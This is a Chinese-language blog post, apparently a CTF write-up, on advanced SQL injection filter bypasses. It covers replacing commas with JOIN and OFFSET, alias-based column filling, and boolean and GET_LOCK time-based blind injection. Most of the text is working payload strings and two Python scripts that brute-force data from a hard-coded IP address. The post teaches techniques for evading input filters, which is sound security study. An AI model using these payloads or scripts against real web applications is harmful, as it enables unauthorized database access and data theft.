php sql注入 limit,Sql注入Bypass进阶

本文详细介绍了SQL注入的高级绕过方法,包括使用JOIN替换UNION,别名填充未知字段,以及在限制条件下利用布尔盲注和时间基盲注。通过实例展示了如何在不同过滤条件下构造查询语句,如通过GET_LOCK函数实现延迟注入,并给出了针对无回显情况的脚本示例。文章深入探讨了SQL注入的各种技巧和应对策略。
摘要由CSDN通过智能技术生成

Sql注入进阶Bypass

1.逗号被过滤

union select:

-1 union select 1,2,3,4

-1 union select from (select 1)a join (select 2)b join (select 3)c join (select 4)d;

limint:

select * from article limit 2,1;

select * from article limit 1 offset 2;

substr:

select substr(database(),5,1);

select mid(REVERSE(mid(database()from(-5)))from(-1));

if:

if(1=1,sleep(5),1)

id =1 and 1 and sleep(5)

select case when 1=1 then sleep(5) else 0 end

2.字段名未知

无法使用information库获取字段名时

使用别名填充列名

id=-1 union select 1,(select i.4 from (select 1,2,3,4 union select from flag)i limit 1,1),3,4;

3.and/or 被禁

使用"+","-"做连接符

id=-(select case when (ascii(mid(REVERSE(mid((select i.4 from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union%0bselect * from flag)i limit 1 offset 1) from -'+str(i)+'))from -1))='+str(j)+') then sleep(1) else 0 end)'

4.Select 被禁

在当前表内查询指定字段内容,可以用Bool注入结合regexp正则表达式,爆破字段内容。

id=1' and if(content regexp binary '^%s',sleep(5),1)--+

其中binary关键字表示 区分大小写

符号^表示以%s字符开头的字符。

例如, 使用a,ab,^abc,匹配abcd会返回true。具体使用方法参照#综合利用-3

综合利用

1.CoolCms

该题目根据id值的变化有不同回显,可尝试union注入;

手工测试闭合条件:1'--+ 可闭合;

Fuzz测试,and or等连接词被过滤,逗号被过滤。

知识点1:联合注入时,逗号被过滤,使用join连接

-1' union/**/select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d --+

回显2,4,尝试获取数据库名,成功,返回“coolsql”

-1' union/**/select * from (select 1)a join (select database())b join (select 3)c join (select 4)d --+

or被过滤,无法查询information表获取字段名。

知识点2:无法获取字段名时,使用别名填充,获取字段内容

使用以下语句,可以填充列名

select i.1,i.2,i.3,i.4 from (select 1,2,3,4 union select * from flag)i;

在查询某一列时,以下语句等价(第4列列名为f11111aaaggg)

-1 union select 1,(select f11111aaaggg from flag limit 0,1),3,4;

-1 union select 1,(select i.4 from (select 1,2,3,4 union select from flag)i limit 1,1),3,4;

这里注意,使用别名填充时,别名多占用一行,因此limit从1开始。

知识点3:使用limit函数时,逗号被过滤

limit(0,1)

limit 1 offset 0

以上三个点组合使用,构造查询语句如下:

-1' union/**/select * from (select 1)x join (select i.4 from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union/**/select * from flag)i limit 1 offset 1)y join (select 3)k join (select 4)j --+

返回值:/home/fff123aggg,该值为flag文件路径,下一步需要使用xxe注入读取文件。

2.SqlCms

此题为为CoolCms的魔改版,除了以上限制条件外,还增加了无回显限制,需要使用Bool盲注,同时因为逗号被过滤,substr(),if()等函数无法正常使用。

结合上文知识点,编写脚本如下:

import requests

res=''

url = 'http://106.14.114.127:22002/'

for i in range(1,100):

for j in range(33,127):

payload = 'article.php?id=-(select case when (ascii(mid(REVERSE(mid((select i.4 from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union%0bselect * from flag)i limit 1 offset 1) from -'+str(i)+'))from -1))='+str(j)+') then sleep(1) else 0 end)'

url1 = url+payload

try:

r = requests.get(url1,timeout=3)

except:

res += chr(j)

print res[::-1]

break

3.SleepCMS

注入点为 article.php?id=2,改变id值,

id=1: Sorry Sir only admin can see it!

id=3: some hint long or short? sleep and injection!

字段名为content

根据提示,推测应使用TimeBased布尔盲注。

Fuzz测试字典,发现Sleep,select被过滤,提示中提到long or short,当使用长链接连接数据库时,可使用Get_Lock函数实现盲注。

方法:

用户1访问某资源并上锁,用户2请求该资源时,会根据参数设定延时返回。使用相同ip进行Get_Lock时,为了使服务器认为两次请求来着不同用户,需将请求间隔设为90s。

脚本如下:

import requests as req

import string

import time

url_lock = "http://106.14.114.127:21019/article.php?id=1' and get_lock(1,1)%23"

r = req.get(url=url_lock)

print 'wait 90s'

time.sleep(90)

print 'ok! attack!'

flag = ''

url = '''http://106.14.114.127:21019/article.php?id=1' and if(content regexp binary '^%s',get_lock(1,3),1)-- 1'''

for x in range(1,100):

print x

for y in string.printable:

if y in '^.*$?':

continue

urll = url%(flag+y)

try:

f = req.get(url=urll,timeout=3)

except:

flag += y

print flag

break

知识点:使用regexp结合BOOL注入,爆破字段内容

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值